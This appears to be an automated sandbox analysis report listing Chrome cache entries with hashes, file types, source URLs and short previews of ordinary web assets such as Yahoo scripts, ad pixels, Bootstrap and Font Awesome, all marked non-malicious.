Preview:	RIFFt1..WEBPVP8 h1......,...>y..F..!.1..P...@..O.g....=.2y...}m..#........T&./.....>.....?.....~.......F.w...?....M.?..}C.0........d.....^.^.}.....^6.........~!?...........A?Y...k............s_.....?h.../;.).j.H.]..k.2...%...-=.-......].B....~..w.N..m....._CV5.j..&..V,*.....T.......o....A.....%.&.....l..k..{L..A..Q...."m.^...ENwl...u.}H.....)3...........e=c.....8<........1....'.(....8...=....LX..[8_8O..<.f...\|.$g)8......_s.Y......&.M.M... ..z...L3!k.m..-....f......A$......0...l^!7....w..0,M^.G....v...N}.^..}....+6.E...u. .A?O.Z...~T.G....Q.2..2.$.K.....&.........)#i.,z.../..M..>hz.CN.^I..._.<.xvpVWe....g...M....XX.....qhC..i...l.g.O..3...O.78.-......?f.W.r..o.ph..._..5V..=SW7d0...,.bW...i............P...Kjy;...{.j...+.J`...jv._...&.M...v!.%..&@S.tu0..-.?S.S..s....ED.W-.'...V......w?..\|..&.....\|.p.<F(6n.\..():.(...5.....R>.....Q....(U.A...p.1.pE..}n.y.....RQ...Cp.,.Q.wq'.v..._.5...[.o........Q...4..p.aZ..0..-....o...V..X..n......j! X..\|...

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (16798), with no line terminators
Category:	downloaded
Size (bytes):	16798
Entropy (8bit):	5.223409253489215
Encrypted:	false
SSDEEP:	384:3+Ec6BG/PFvVHWahu22YXGjDmgTkgcpUh1HswyjIkr8EAe:OD+ipVHWa1c/TIUYjINe
MD5:	F085D6C42ACB1394E457E463230DE8BA
SHA1:	DEACA09E50FB2D08C90F07CC588A8B1B4C191732
SHA-256:	F2C2013A67C8DD205E93EF40CF60DA7B3BB48A075E7B649FDE2B2F646B15896F
SHA-512:	029FDDCBD993E68E25B470D316CC94EF513AC536AB70C39F5B6920B6BEF6398F3BF77DD5F6067441337068566F1DCF408CDEC28DC22E03256E634AF644322875
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-fetch-1.19.1-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-fetch",[],t):"object"==typeof exports?exports["wafer-fetch"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-fetch"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(n){if(r[n])return r[n].exports;var i=r[n]={i:n,l:!1,exports:{}};return e[n].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,n){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,r){"use strict";function n(e,t){var r={};for(var n in e)t.indexOf(n)>=0\|\|Object.prototype.hasOwnProperty.call(e,n)&&(

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://pixel.tapad.com/idsync/ex/receive?partner_id=1830&partner_device_id=43e7dc8e-5458-4375-be4a-644737ed4dbd&ttd_puid=da33c8c4-591f-41d2-a1ee-393c2b417291%2C%2C
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1784
Entropy (8bit):	4.640964665729478
Encrypted:	false
SSDEEP:	48:TtT4eQ7M0Vk677M0Kk6+7r10Sk6H72X10ak/7e0kk7Z:5TNQ7nVb7nKe7rKSn72KaC75k2Z
MD5:	877792D86D801176269A36AC7B4E6E02
SHA1:	AFDBAD37D52084701E3E299D1F95AD7478B466A9
SHA-256:	5CB2B348029A5C8CAD5342D73F5F78AC09AD0CF6EBDE80B5A1ED069F08332DDC
SHA-512:	0FA0A811BFEF6D83808022369BF9462EB57FB06F5E6B4672F313AAC04D2C85A5CB6A55A9D0F7359E608E6ECD90925E3F77784700882E3F5F93ADBD5FC22D6A3D
Malicious:	false
Reputation:	low
Preview:	{. "expCount":5,. "selection":"individual",. "uploadType":"group",. "runProb":10,. "expList":[. {. "name":"vpixiea",. "beaconRegex":"^https:\/\/v-([^.]).wc.yahoodns.net\/i.gif",. "target":"https://v-a<RAND>.wc.yahoodns.net/i.gif",. "trials":1,. "uploadEndpoints":["https://ybar-<BEACON>report.wc.yahoodns.net/cs/"], . "timeout":5000. },. {. "name":"vpixieb",. "beaconRegex":"^https:\/\/v-([^.]).wc.yahoodns.net\/i.gif",. "target":"https://v-b<RAND>.wc.yahoodns.net/i.gif",. "trials":1,. "uploadEndpoints":["https://ybar-<BEACON>report.wc.yahoodns.net/cs/"],. "timeout":5000. },. {. "name":"vpixiec",. "beaconRegex":"^https:\/\/v-([^.]*).wc.yahoodns.net\/pixel.gif",. "target":"https://v-c<RAND>.wc.yahoodns.net/pixel.gif",. "trials":1,. "uploadEndpoints":["http

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	33262
Entropy (8bit):	7.966221024440254
Encrypted:	false
SSDEEP:	768:tYyDmkyUu4k2HxTGLrfdxi/IE8xTJ/EBFtm28rS9Uy9i/cN:tvxjnk2HxKH25yyapjy9pN
MD5:	B2591D2700B802CAD08C244C370296B5
SHA1:	7C9A10C28596CB3313C49E5F9929CED7A71E9A54
SHA-256:	C8D5FD25F9D87373B13C6ED35C7A511A887C506D18D96EF5A78FDA7F608D5BA5
SHA-512:	ECA578CB14633273E6F26CF46B0B5A6EB65BDE79A8D8F0D2DAB9FA1DD65C1363C6675DC26402C4BA05D6CD8CB60F0EF7FAE07EF957FBB44B4DEF76FE1363AB11
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/2yghjbKRjDThM2qwTZX.zQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/cnn_articles_875/04271874beb49d28a98b07ab57abeeca.cf.webp
Preview:	RIFF...WEBPVP8X.... .........ICCPH......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1........

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	102495
Entropy (8bit):	5.362858574241211
Encrypted:	false
SSDEEP:	1536:KjsQ7UfSpXhRZw+V/kmpLZrgsowl+y+RkIdkIdIZnypfzIKYI+H0:KgQ7JELNNC0
MD5:	C8B3A8708D65F1858D76BFBF65F059A5
SHA1:	55BEEB1A8464C62A679F7456F74C2A010E34B72D
SHA-256:	8BD677EA29AA51EE7E6A639B0BA321A9FEAE97B7E1155C76359AB427440D2CD0
SHA-512:	F970C0A3224B787C7A5F7DC894A27C2656C1A2B76A131D7B558299511F3A6C4FEBC36EAB8AC97B22D246225E3BF94B0FFC69ADF68BC4289B09155A10484C64CF
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/oa/consent.js
Preview:	/! For license information please see consent.js.LICENSE.txt /.!function(){var e={6848:function(e,n,t){var o,i,s;!function(a){"use strict";if(null!=n&&"number"!=typeof n.nodeType)e.exports=a();else if(null!=t.amdO)i=[],void 0===(s="function"==typeof(o=a)?o.apply(n,i):o)\|\|(e.exports=s);else{var r=a(),c="undefined"!=typeof self?self:$.global;"function"!=typeof c.btoa&&(c.btoa=r.btoa),"function"!=typeof c.atob&&(c.atob=r.atob)}}((function(){"use strict";var e="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";function n(e){this.message=e}return n.prototype=new Error,n.prototype.name="InvalidCharacterError",{btoa:function(t){for(var o,i,s=String(t),a=0,r=e,c="";s.charAt(0\|a)\|\|(r="=",a%1);c+=r.charAt(63&o>>8-a%1*8)){if((i=s.charCodeAt(a+=3/4))>255)throw new n("'btoa' failed: The string to be encoded contains characters outside of the Latin1 range.");o=o<<8\|i}return c},atob:function(t){var o=String(t).replace(/[=]+$/,"");if(o.length%4==1)throw new n("'atob' failed: The str

Chrome Cache Entry: 364

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=zeta_global_ssp&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=ua-5c028095-9c05-36a4-b8e9-7a8a48425288
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	866678
Entropy (8bit):	5.767089014921497
Encrypted:	false
SSDEEP:	12288:b7Y9ynlx5zr4Jww8hivYpyRlC6rY8y+lJGYw/YZyvl9vQxYHy/lpT5F5YmYij0k:t5zr42jA2glSk
MD5:	B607D04027A0FED2D4FDC648193649DC
SHA1:	A3CC85F7BB5C6B94F2CAFFB257837F4259CFF921
SHA-256:	FF325756027DEB5925A6CEE0D4644BBB1B4FF9C0B088B8C15F0E45CD2E9C7EB4
SHA-512:	0B9FD2BABE5FE760A9EE3DA0F76C537E8B0B3C5AF5E4AA18B3590ECE8FA2112A80032C81030039EA722B3DB6FAF00F8D5CA5174870BAAC2D9872599B5AC5BE3D
Malicious:	false
Reputation:	low
URL:	"https://www.yahoo.com/caas/content/article/?uuid=8ef8bd59-c0f9-498f-b9d3-9b7d58497a48,44fa19c4-216a-4b5e-941f-e745a6bb82b1,2c163bfe-0479-4986-a62c-3f1337766faf,7c93543a-ce9d-4d62-b6c5-a4acbaa51bd7,3fc502a5-3606-4eaa-a964-da4d6fea6cb0,3740ee8d-0911-4990-aeb6-fa29ecefcb01&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA&rid=1sbetl5j2qvpa"
Preview:	{"items":[{"data":{"partnerData":{"adMeta":{"hashtag":"amazon;news;weekend-roundup;shopping;shopping;hobbies","isSupplySegment":"false","lang":"en-US","region":"US","rs":"lmsid:a0V0W00000JIbmMUAT;revsp:yahoo_life_shopping_281;lpstaid:8ef8bd59-c0f9-498f-b9d3-9b7d58497a48;pt:content;pd:modal;ver:megastrm;pct:story","site_attribute":"wiki_topics=\"Amazon_%28company%29;Amazon_Prime\" ctopid=\"1878000;10610489;1720500\" hashtag=\"amazon;news;weekend-roundup;shopping;1878000;10610489;1720500\" rs=\"lmsid:a0V0W00000JIbmMUAT;revsp:yahoo_life_shopping_281;lpstaid:8ef8bd59-c0f9-498f-b9d3-9b7d58497a48;pt:content;pd:modal;ver:megastrm;lu:0;pct:story\"","spaceid":"1197792446","site":"lifestyle","enabled":true,"pos":"","showBodyAds":false,"showPhotoAds":false},"alias":"ymedia-alias:shadow=the-best-amazon-deals-to-shop-this-weekend-save-up-to-80-on-tech-gadgets-gardening-essentials-and-more-201452417","canonicalUrl":"https://www.yahoo.com/lifestyle/the-best-amazon-deals-to-shop-this-weekend-save-up-t

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2937)
Category:	downloaded
Size (bytes):	218938
Entropy (8bit):	5.415736669991316
Encrypted:	false
SSDEEP:	6144:vR9Um9Yw3sA5L7ncPidHslXWfXbl01A/d9S:PnOr4l0CfS
MD5:	856501D11FCD34EC85F3D45B2567CE92
SHA1:	54023FD129DB426E23556FBC52DCBC60E6F172E7
SHA-256:	B47638E2B3E5A0F28AC238700ECD6A54D333BD521A54B20BB873A565FEC58687
SHA-512:	F16252ABBED2559FBE8A44DC0095D0FC4F4F00BED9B73B422CB1D051D4A3B3302894A1922C3ACA83AADC9A3608F66DEAE426E5FD368A6B1E170A0AC03AD45E5C
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/pagead/managed/js/activeview/current/ufs_web_display.js
Preview:	(function(){var n,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");},da=.ca(this),q=function(a,b){if(b)a:{var c=da;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.q("Symbol",function(a){if(a)return a;var b=function(f,g){this.bh=f;ba(this,"description",{configurable:!0,writable:!0,value:g})};b.prototype.toString=function(){return this.bh};var c="jscomp_symbol_"+(1E9*Math.random()>>>0)+"_",d=0,e=function(f){if(this instanceof e

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CU9yltxlHh/:m/
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60130)
Category:	dropped
Size (bytes):	60312
Entropy (8bit):	4.72859504417617
Encrypted:	false
SSDEEP:	768:PUh31IPiyXNq4YxBowbgJlkwF//zMQyYJYX9Bf7VSz8:PU0PxXE4YXJgndFTfy9lQQ
MD5:	A12EC7EBE75A4D59A5DD6B79E2BA2E16
SHA1:	28F5DCC595EE6D4163481EF64170180502C8629B
SHA-256:	FC5128DFDCDFA0C3A9967A6D2F19399D7BF1AAAE6AD7571B96B03915A1F30DDA
SHA-512:	28B9EA5F3F95807259C2745162424ACEECAC2556BC1AB9A3B33E4E15B54C6970A4DF4A5892FE83C1155C82CA8D93AEBB173BE32F1A7F8B9D3CE038B2DD1E6FFE
Malicious:	false
Reputation:	low
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pul

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 370

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (29594), with no line terminators
Category:	downloaded
Size (bytes):	29594
Entropy (8bit):	5.176931694017593
Encrypted:	false
SSDEEP:	768:U9ohsHpxsgDD9G9uiQ9xYBEgH5CDE486Cfiniln7dB1Qg7Nx6/SRRzLC78eA1bOr:U4gDRNgtmSiniln7dB1QSm
MD5:	AD4B4808C249D200DF8BCDB043AC4611
SHA1:	80F6F690F592E8E1975CB27B9281B6F49FA81C66
SHA-256:	117A49648BFB149AE0636D4C6397DADBE8AAAB4EE5BB8A35DB9318379B7F6CA2
SHA-512:	BD1124DD9EADDB5B10AAF23C4D270C06A4FF98C15542F38D7C878EE7DD4947EC42FB54838A5B8E2F3C5D80B0086503CE16BBB157F630C517998EA1646C05234E
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-autocomplete-1.31.8-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-autocomplete",[],t):"object"==typeof exports?exports["wafer-autocomplete"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-autocomplete"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(i){if(a[i])return a[i].exports;var n=a[i]={i:i,l:!1,exports:{}};return e[i].call(n.exports,n,n.exports,t),n.l=!0,n.exports}var i=window.webpackJsonpwafer_wafers_wafer_autocomplete;window.webpackJsonpwafer_wafers_wafer_autocomplete=function(t,a,r){for(var o,s,l=0,u=[];l<t.length;l++)s=t[l],n[s]&&u.push(n[s][0]),n[s]=0;for(o in a)Object.prototype.hasOwnProperty.call(a,o)&&(e[o]=a[o]);for(i&&i(t,a,r);u.length;)u.shift()()};var a={},n={1:0,2:0};return t.e=function(e){function i(){s.onerror=s.onload=null,clearTimeout(l);var t=n[e];0!==t&&(t&&t[1](new Error("Loading chunk "+e+" failed.")),n[e]=void 0)}var a=n[

Chrome Cache Entry: 371

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 372

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=yieldmo&f=i&uid=VcJnSSSXXnSq19AL9kSQ&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 373

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.017824858003425
Encrypted:	false
SSDEEP:	3:kY4L4NKbvn:kY4EIn
MD5:	734930DCDBA2810CE73FE5069CC19669
SHA1:	81CAF1CBA98DBEAF1A9E7640B0B85071D099254C
SHA-256:	38956056E9E4D8C6798025989C602B9287F3B4477754CEBD04A48520E9490377
SHA-512:	DD2B4AF207BE550370A4B6E1780AF00C78BA68318F30C4DA5AF1F231B7E045DFF62CDDFD5FDA63C716A70CD6EEFE0C5C012262DA0AACD2E8E6718DECBB6C3A5E
Malicious:	false
Reputation:	low
Preview:	<UnknownOperationException/>.

Chrome Cache Entry: 374

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Reputation:	low
URL:	https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 375

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 376

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.625
Encrypted:	false
SSDEEP:	3:H3:X
MD5:	5CD6E5A6E670FE5B4A9C6BB6E30181A2
SHA1:	303A23B65CC6675EED483BE7E8426B3B64013FD4
SHA-256:	4C1E7CA98E56A457702DF54B05786DDB19A3D43CD5CA652BE6944758741CBA67
SHA-512:	0CEB4499D15A36A0F5EB0D165DB07D7DCCACA0CF69401315376B94D02C4D7FABA69119C31F95559D9C946E397B8500B22BE1BE3E2F24F95DB4FEBA440F21A57F
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAlUi7xLfpsp0hIFDejd-wA=?alt=proto
Preview:	CgkKBw3o3fsAGgA=

Chrome Cache Entry: 377

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	260206
Entropy (8bit):	6.106661199485816
Encrypted:	false
SSDEEP:	3072:r8Th+U2dKI+nxTmsd76bB5cgHbLOdEXxrhHbLOdEwUbVbZqKKx:r8Th+U2dh+nxTmsgbLr7LLzLLDhkKK
MD5:	E717D248C65B6FCC982E8BD1C6D0F0C3
SHA1:	BF9F4DDDD41CA802AA9839E832EC59D718F69E81
SHA-256:	CB34BB02B3CFCB043251D2E34D5377AFAF62F53E0BAE737511D8D558006153F6
